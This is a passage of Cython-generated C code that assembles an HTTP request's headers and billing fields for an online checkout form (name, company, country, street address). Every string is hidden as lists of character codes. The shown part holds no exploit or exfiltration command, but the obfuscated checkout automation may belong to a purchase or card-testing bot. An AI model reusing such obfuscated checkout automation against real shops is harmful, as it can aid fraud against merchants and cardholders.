    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_101);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_116);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 449, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_user); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 449, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_9) < 0) __PYX_ERR(0, 444, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = __Pyx_PyDict_NewPresized(15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __pyx_t_15 = PyList_New(18); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_first_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(17); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 453, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 12, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 13, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 14, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_2, 15, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 16, __pyx_int_101);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 453, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 453, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_last_name); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 453, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(15); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_121);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 454, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 12, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 13, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_2, 14, __pyx_int_121);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_85);
    __Pyx_GIVEREF(__pyx_int_85);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_85);
    __Pyx_INCREF(__pyx_int_83);
    __Pyx_GIVEREF(__pyx_int_83);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_83);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 455, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(17); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 456, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_49);
    __Pyx_GIVEREF(__pyx_int_49);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_49);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 456, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 456, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_street_address); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 456, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(17); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 457, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 12, __pyx_int_101);
